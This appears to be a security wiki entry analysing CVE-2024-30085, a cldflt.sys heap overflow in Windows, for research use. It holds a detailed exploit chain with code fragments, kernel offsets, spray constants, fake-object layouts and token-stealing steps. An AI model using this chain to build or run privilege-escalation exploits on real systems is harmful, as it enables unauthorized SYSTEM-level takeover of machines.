CVE-2024-30085 — cldflt.sys Heap Overflow (EoP)
Last updated: 2026-04-11
Severity: High
Component: cldflt.sys (Windows Cloud Files Mini Filter Driver)
Bug Class: Heap Overflow (integer / bounds check missing)
Privilege Escalation: User → SYSTEM
Patch: June 2024 Patch Tuesday (KB5039212 — Win11 22H2/23H2; KB5039211 — Win10 22H2)
Related: Cldflt, Cve 2021 31969, Heap Grooming, Primitives, Ioring
Tags:heap-overflow,kernel-mode,pool,oob-write,aaw,aar,token-steal
Vulnerability Summary
HsmIBitmapNORMALOpen in cldflt.sys allocates a fixed 0x1000-byte HsBm object in the paged pool but copies user-controlled data into it using a memcpy whose size is bounded only by the user-supplied reparse point data — no upper limit check against 0x1000. An attacker with sync root registration can write up to ~4 pages of controlled data past the HsBm allocation, overflowing into adjacent paged pool objects. Exploitation uses a two-phase WNF → ALPC handle table leak then WNF → PipeAttribute chain to achieve arbitrary kernel read/write, ultimately overwriting token privileges to obtain SYSTEM.
Root Cause Analysis
In HsmIBitmapNORMALOpen:
// Vulnerable (before patch)
HsBm = ExAllocatePoolWithTag(PagedPool, 0x1000, 'HsBm');
memcpy(HsBm->data, local_70, memcpy_size); // memcpy_size is user-controlled!
// Patched version added:
if (r14d > 0x1000)
return STATUS_INVALID_PARAMETER;
memcpy(HsBm->data, local_70, memcpy_size);
memcpy_size is derived from the user-supplied reparse point element data without an upper bound check. An attacker can provide a _HSM_ELEMENT_INFO with Type=BITMAP(0x11) whose length field exceeds 0x1000, causing the copy to overflow the HsBm allocation into adjacent pool objects.
Trigger Path
- Register sync root (requires no privilege):
CfRegisterSyncRoot(rootPath, ®istration, NULL, CF_REGISTER_FLAG_NONE); Create a placeholder file under the sync root directory.
- Set crafted reparse point via
FSCTL_SET_REPARSE_POINT_EX(notFSCTL_SET_REPARSE_POINT— the driver pre-op handler for the latter denies non-Cloud-Filter requests):DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT_EX, reparseData, reparseSize, NULL, 0, &returned, NULL);The reparse tag must be
IO_REPARSE_TAG_CLOUD_6 = 0x9000601a. - Trigger overflow by reopening the file:
hFile2 = CreateFileW(path, GENERIC_ALL, FILE_SHARE_ALL, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
Reparse Point Structures
struct _HSM_REPARSE_DATA {
DWORD Flags;
DWORD Length;
_HSM_DATA HsmData;
};
struct _HSM_DATA {
DWORD Magic; // 0x70527442 ("BtRp") or 0x70526546 ("FeRp")
DWORD Crc32;
DWORD Length;
DWORD Flags;
DWORD NumberOfElements;
_HSM_ELEMENT_INFO Elements[];
};
struct _HSM_ELEMENT_INFO {
WORD Type;
WORD Length; // attacker-controlled
DWORD Offset;
};
// Element types:
// 0x00 = NONE
// 0x06 = UINT64
// 0x07 = BYTE
// 0x0A = UINT32
// 0x11 = BITMAP ← triggers HsmIBitmapNORMALOpen
Exploitation Technique
The overflow targets the paged pool. The HsBm object is 0x1000 bytes, meaning it lands in the variable-size (VS) segment. The exploit triggers the overflow twice: once for a kernel pointer leak (via ALPC handle table corruption), once for arbitrary write setup (via PipeAttribute corruption).
Full Exploit Chain (18 Steps)
Phase 1 — Kernel Pointer Leak
- Create exploit file 1; set custom reparse point with
memcpy_size=0x1010. - Spray padding
_WNF_STATE_DATAobjects (0x1000 bytes each, DataSize=0xff0, so_WNF_STATE_DATA.DataSize = 0xff0). - Spray the first set of
_WNF_STATE_DATA(NUM=0x450). - Poke holes: free every alternate WNF object (creates 0x1000-byte holes).
- Trigger overflow #1: HsBm lands in a hole, overflows 0x10 bytes into adjacent WNF → corrupts
_WNF_STATE_DATA.DataSizefrom0xff0to0xff8(8-byte OOB read/write primitive). Target object is freed during the code path but corruption persists. - Spray
_ALPC_HANDLE_TABLEobjects to fill remaining holes. The handle table starts at 0x80 bytes; eachNtAlpcCreateResourceReservecall doubles it. With 127 calls per port × 0x800 ports, the table grows to 0x1000. - Scan WNF objects: find one with
ChangeStamp=0xcafe(set by the overflow content). ReadWNFOutput[0xff0]— this is the_KALPC_RESERVEpointer leaked from the adjacent ALPC handle table.
struct _ALPC_HANDLE_TABLE {
struct _ALPC_HANDLE_ENTRY* Handles; //0x0
struct _EX_PUSH_LOCK Lock; //0x8
ULONGLONG TotalHandles; //0x10
ULONG Flags; //0x18
};
struct _KALPC_RESERVE {
struct _ALPC_PORT* OwnerPort; //0x0
struct _ALPC_HANDLE_TABLE* HandleTable; //0x8
VOID* Handle; //0x10
struct _KALPC_MESSAGE* Message; //0x18
ULONGLONG Size; //0x20
LONG Active; //0x28
};
Phase 2 — Arbitrary Read → Token Leak
- Create exploit file 2; set reparse data 0x1010.
- Spray second padding WNF batch.
- Poke holes (free alternates).
- Trigger overflow #2: second HsBm overflow → second WNF DataSize corruption.
- Spray
PipeAttributeobjects viaNtFsControlFile(WritePipe, 0x11003c, data, 0x1000-0x30, ...). - Use second corrupted WNF to OOB-write the
Flinkof adjacent PipeAttribute’sLIST_ENTRYto point to a fakePipeAttributein userland (Windows does not enable SMAP, so kernel can access user pages):// Fake PipeAttribute in userspace: *(u64*)(FakePipe+0x00) = (u64)FakePipe2; // Flink *(u64*)(FakePipe+0x08) = (u64)pipe_leak; // Blink *(u64*)(FakePipe+0x10) = (u64)FakePipeName; // AttributeName *(u64*)(FakePipe+0x18) = 0x30; // AttributeValueSize (leak size) *(u64*)(FakePipe+0x20) = (u64)ALPC_leak; // AttributeValue (what to read) - Arbitrary read via
NtFsControlFile(WritePipe, 0x110038, ...):- Read from
KALPC_RESERVE→ getALPC_PORTpointer - Read from
ALPC_PORT+0x18→ getEPROCESSpointer (OwnerProcess) - Read from
EPROCESS+0x4b8→ get token pointer
- Read from
Phase 3 — Arbitrary Write → Privilege Escalation
- Use first corrupted WNF to overwrite the
_KALPC_RESERVEpointer inside the ALPC handle table with a pointer to a fake_KALPC_RESERVEin userland. The fake reserve contains a pointer to a fake_KALPC_MESSAGEwith:ExtensionBuffer=token_leak + 0x40(token privileges field)ExtensionBufferSize= 0x10
Call
NtAlpcSendWaitReceivePortwith message payload[0xFFFFFFFFFFFFFFFF, 0xFFFFFFFFFFFFFFFF]. The kernel writes 0x10 bytes of FF intoExtensionBuffer— overwriting token present/enabled privilege bitmaps to enable all privileges.OpenProcess(PROCESS_CREATE_PROCESS, winlogon_pid)→CreateProcessFromHandle(winlogon_process)→ SYSTEM shell.
Key Structure Details
struct _WNF_STATE_DATA {
struct _WNF_NODE_HEADER Header; //0x0
ULONG AllocatedSize; //0x4
ULONG DataSize; //0x8 ← overflow target: 0xff0 → 0xff8
ULONG ChangeStamp; //0xc
};
struct PipeAttribute {
LIST_ENTRY list; //0x0 (Flink at 0x0) ← overflow target
char * AttributeName; //0x10
uint64_t AttributeValueSize; //0x18
char * AttributeValue; //0x20
char data[0];
};
Read: NtFsControlFile(pipe, 0x110038, name, len, buf, 0x1000) → returns AttributeValue[0..AttributeValueSize]
Write: NtFsControlFile(pipe, 0x11003c, data, 0x1000-0x30, ...) → replaces PipeAttribute (old one freed, new one allocated)
Exploit Variants (Alexandre Borges — ERS_06/07/08, 2026)
Alexandre Borges published a deep-dive series (ERS_06/07/08) with four successive exploit variants, each improving on the previous:
| Variant | File | Overflows | Technique | Innovation |
|---|---|---|---|---|
| ALPC edition | exploit_alpc_edition.c | 2 | ALPC write → TOKEN+0x40 overwrite; pipe attr AAR | First PoC; one-shot ALPC limitation causes crash on exit |
| Token steal | exploit_token_stealing_edition.c | 2 | ALPC write → PreviousMode=0 → NtWriteVirtualMemory; pipe attr AAR | Converts one-shot write to unlimited; clean restore |
| I/O Ring v1 | exploit_ioring_edition_01.c | 2 | ALPC → I/O Ring write; pipe attr AAR | 8-byte precision token writes via I/O Ring |
| I/O Ring v2 | exploit_ioring_edition_02.c | 1 | ALPC → I/O Ring read+write | 15 stages (vs 24); no pipe exploitation; single overflow |
Key Technical Details
Constants (Win11 23H2/22H2, Win10 22H2):
KTHREAD_PREVIOUSMODE_OFFSET = 0x232
EPROCESS_TOKEN_OFFSET = 0x4B8 (newer Windows versions: 0x248)
EPROCESS_UNIQUEPROCESSID_OFFSET = 0x440
EPROCESS_ACTIVEPROCESSLINKS_OFFSET = 0x448
EPROCESS_IMAGEFILENAME_OFFSET = 0x5A8
FSCTL_PIPE_GET_PIPE_ATTRIBUTE = 0x110038
FSCTL_PIPE_SET_PIPE_ATTRIBUTE = 0x11003C
Spray constants:
WNF_PAD_SPRAY_COUNT = 0x5000 // padding spray (Phase 1)
WNF_SPRAY_COUNT = 0x800 // WNF object spray
ALPC_PORT_COUNT = 0x800 // ALPC ports
ALPC_RESERVES_PER_PORT = 257 // reserves per port (grows table to 0x1000)
WNF_DATA_SIZE = 0xFF0 // WNF body size → 0x1000 total chunk
PAYLOAD_SIZE_OVERFLOW = 0x1010 // 0x10 bytes past HsBm buffer
CHANGE_STAMP_FIRST = 0xC0DE // marker in overflow payload to find corrupted WNF
CHANGE_STAMP_SECOND = 0xDEAD // second wave marker
Token steal: _EX_FAST_REF note:
EPROCESS.Tokenis_EX_FAST_REF: bits 63:4 = token pointer, bits 3:0 = reference count- Must copy the raw 64-bit value (not just the pointer) — low 4 bits must be preserved
- Read raw token:
IoRingReadKernel64(eprocess+0x4B8, &g_system_token_raw) - Write raw token:
IoRingWriteKernel(target_eprocess+0x4B8, &g_system_token_raw, 8)
PreviousMode flip via ALPC (token_steal_edition):
- ALPC
ExtensionBufferSizeminimum is 0x10 bytes (not 0x08 — writes below 0x10 silently fail) - Target:
KTHREAD.PreviousModeatkthreadAddr + 0x232 - Write 16 zero bytes → flips PreviousMode from 1 (UserMode) to 0 (KernelMode)
- After flip:
NtWriteVirtualMemory(INVALID_HANDLE_VALUE, kernelAddr, data, ...)works on any address
KTHREAD discovery (before spray):
// Duplicate own thread handle, then scan SystemExtendedHandleInformation
NtQuerySystemInformation(64, buf, bufSize, &retlen);
// Match entry: UniqueProcessId==GetCurrentProcessId() && HandleValue==hThread
// → entry.Object = _KTHREAD kernel address
Cleanup order (token_steal_edition — avoids crash on exit):
NtWriteVirtualMemory→ write raw SYSTEM token toEPROCESS.TokenNtWriteVirtualMemory→ restorePipeAttr.Flinkto original kernel addressNtWriteVirtualMemory→ restorePreviousMode = 1- Spawn
cmd.exedirectly (no parent spoofing needed)
Parent process spoofing (alpc_edition only):
NtOpenProcess(&hWinlogon, PROCESS_CREATE_PROCESS, ...);
UpdateProcThreadAttribute(..., PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hWinlogon, ...);
CreateProcessW(NULL, L"cmd.exe", ..., CREATE_NEW_CONSOLE|EXTENDED_STARTUPINFO_PRESENT, ...);
// Child inherits winlogon's SYSTEM token
See Ioring for full I/O Ring structures and ALPC bootstrap technique.
Key Primitives Used
| Primitive | Source |
|---|---|
| 8-byte paged pool OOB R/W | WNF DataSize corruption (0xff0 → 0xff8) |
| Kernel pointer leak | Corrupted WNF reads into adjacent ALPC handle table |
| Arbitrary kernel read | Fake PipeAttribute Flink → userland fake object → controlled AttributeValue pointer |
| Arbitrary kernel write | Fake KALPC_RESERVE → fake KALPC_MESSAGE → NtAlpcSendWaitReceivePort ExtensionBuffer |
| Token privilege overwrite | Write 0xFFFF… to token+0x40 (Present/Enabled privilege bitmaps) |
Mitigations Bypassed
- SMAP not enabled on Windows: kernel can read/write userland memory → fake objects in userspace viable
- Pool randomization: defeated by spraying and identifying corrupted object by ChangeStamp value
Proof-of-Concept Notes
- Double trigger required (two separate files + two spray rounds)
- Can be triggered multiple times if memory layout is controlled (no crash if WNF is reclaimed correctly)
- Source: https://github.com/star-sg/CVE/tree/master/CVE-2024-30085
- Authors: Cherie-Anne Lee (StarLabs), with guidance from Chen Le Qi (StarLabs)
References
- Cherie-Anne Lee, “All I Want for Christmas is a CVE-2024-30085 Exploit”, StarLabs, 2024-12
- ALPC AAR/AAW technique: Xu/Song/Li, “The Next Generation of Windows Exploitation”, BH Asia 2022
- PipeAttribute technique: Corentin Bayet + Paul Fariello, “Scoop the Windows 10 pool!”, SSTIC 2020
- Windows Kernel Heap by Angelboy: speakerdeck.com/scwuaptx/windows-kernel-heap-segment-heap-in-windows-kernel-part-1
- Cloud Filter API: https://learn.microsoft.com/en-us/windows/win32/api/_cloudapi/
